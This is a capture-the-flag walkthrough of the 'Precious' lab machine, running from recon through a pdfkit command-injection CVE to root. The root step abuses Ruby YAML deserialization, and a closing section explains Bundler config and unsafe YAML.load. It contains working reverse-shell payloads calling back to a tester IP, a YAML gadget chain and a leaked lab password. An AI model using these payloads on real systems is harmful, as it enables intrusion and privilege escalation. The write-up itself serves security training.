52. Precious
52.1. Machine Info

52.2. Recon
52.2.1. port
nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
52.2.2. web
Web function: convert web page (input url) into PDF file

└─╼$ whatweb http://precious.htb/
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Version Information:
Phusion Passenger(R) 6.0.15pdfkit 0.8.6
52.3. Foothold
52.3.1. CVE-2022–25765 Command Injection
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. 0.0.0.0 < versions <0.8.7.2
POC: ping local kali
└─╼$ python exploit-CVE-2022-25765.py -c 'ping -c 1 10.10.14.14'
/home/qwe/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (2.2.0) or chardet (5.2.0)/charset_normalizer (3.3.2) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Custom Command Mode
PAYLOAD: http://%20`ping -c 1 10.10.14.14`
WARNING: Wrap custom command in "quotes" if it has spaces.
EXPLOIT: Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.


└─╼$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:27:25.180803 IP 10.10.11.189 > 10.10.14.14: ICMP echo request, id 40729, seq 1, length 64
11:27:25.180829 IP 10.10.14.14 > 10.10.11.189: ICMP echo reply, id 40729, seq 1, length 64
Exploit: command injection to execute a reverse shell
└─╼$ python exploit-CVE-2022-25765.py -c 'bash -c "bash -i >&/dev/tcp/10.10.14.14/1234 0>&1"'
/home/qwe/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (2.2.0) or chardet (5.2.0)/charset_normalizer (3.3.2) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Custom Command Mode
PAYLOAD: http://%20`bash -c "bash -i >&/dev/tcp/10.10.14.14/1234 0>&1"`
WARNING: Wrap custom command in "quotes" if it has spaces.
EXPLOIT: Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.
└─╼$ sudo rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.189] 40630
bash: cannot set terminal process group (686): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapp$ uname -a
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
52.4. Privilege Escalation
52.4.1. ruby -> henry
henry’s credential leakage + ssh login
ruby@precious:~$ find . -type f -exec grep -ilE 'passw|henry' {} + 2>/dev/null
./.bundle/config
ruby@precious:~$ cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
52.4.2. henry -> root
henry@precious:/home/ruby$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/home/ruby$ ls -l /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 2022 /opt/update_dependencies.rb
henry@precious:/home/ruby$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
dependencies.yml is a relative path => create a malicious yaml file with command injection of revshell
henry@precious:/dev/shm$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.14/1234 0>&1'"
method_id: :resolve
henry@precious:/dev/shm$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
----------------------------------------------------------------------------
└─╼$ sudo rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.189] 58976
root@precious:/dev/shm# id
id
uid=0(root) gid=0(root) groups=0(root)
root@precious:/dev/shm# uname -a
uname -a
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
52.5. Exploit Chain
port scan -> web: convert web into pdf (using pdfkit 0.8.6) -> cve: rce -> www-data shell -> credential in ruby bundle config -> henry shell -> enum sudo -> dependencies.yml relative path -> create malicious yml & exeucte sudo script to trigger revshell -> root shell
52.5.1. Beyond Root
52.5.2. Ruby Bundle
In Ruby projects, the .bundle directory is created by Bundler, a dependency management tool. Bundler manages the dependencies of Ruby applications to ensure that your application runs with the same versions of third-party libraries (gems) across different development, testing, and production environments.
The .bundle directory typically contains configuration files and environment-specific settings particular to the project. These configurations often override the global settings of Bundler. The most common file within this directory is the config file, which stores the Bundler configuration settings for the current application.
The settings in the config file control how Bundler behaves, such as:
Setting mirror sites
Configuring the path for gem installations
Setting the number of gems to install in parallel
And other default behaviors for Bundler commands
Regarding the config file content this machine has:
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
This is a YAML-formatted config file containing part of the Bundler configuration. In this example, it appears to configure credentials for https://rubygems.org/ (the Ruby community’s gem hosting service). This credential might be used for installing private gems or for authenticating when publishing gems.
BUNDLE_HTTPS://RUBYEGMS__ORG/: This key refers to the configuration forhttps://rubygems.org/. (The configuration key uses double underscores__instead of periods.because Bundler configuration syntax requires it. Similar translations are often used when setting environment variables.)"henry:Q3c1AqGHtoI0aXAYFH": This looks like a combination of a username and password, possibly used for basic authentication.
So, this configuration contains sensitive information (username and password).
52.5.3. Ruby YAML
Malicious for:
File.read('sample.yml')The root-priv script:
YAML.load(File.read('sample.yml'))
This YAML file contains serialized data for Ruby objects that represent instances of several internal classes of RubyGems. The !ruby/object:<ClassName> tags in the YAML file specify the Ruby object’s class to be deserialized.
The first object is an instance of the
Gem::Installerclass with a propertyiwith the valuex.The second object is an instance of the
Gem::SpecFetcherclass, also with a propertyiwith the valuey.The third object is an instance of the
Gem::Requirementclass, which includes arequirementsproperty. This property is an instance of theGem::Package::TarReaderclass.The
Gem::Package::TarReaderobject contains anioproperty, which is another instance of theGem::Package::TarReader::Entryobject. ThisEntryobject hasreadandheaderproperties.Notably, the
debug_outputproperty is set to an instance of theNet::WriteAdapterobject, which contains a socket and method ID. Thesocketproperty is an instance of theGem::RequestSetobject, which includessetsandgit_setproperties. Thegit_setproperty contains a suspicious string that a Bash command attempts to create a reverse shell.
Especially in Ruby, when loading YAML files, one should use YAML.safe_load instead of YAML.load, as YAML.load can create arbitrary Ruby objects, which may lead to code execution vulnerabilities. If you need to handle YAML, ensure that you fully trust the source of the YAML file and understand its contents.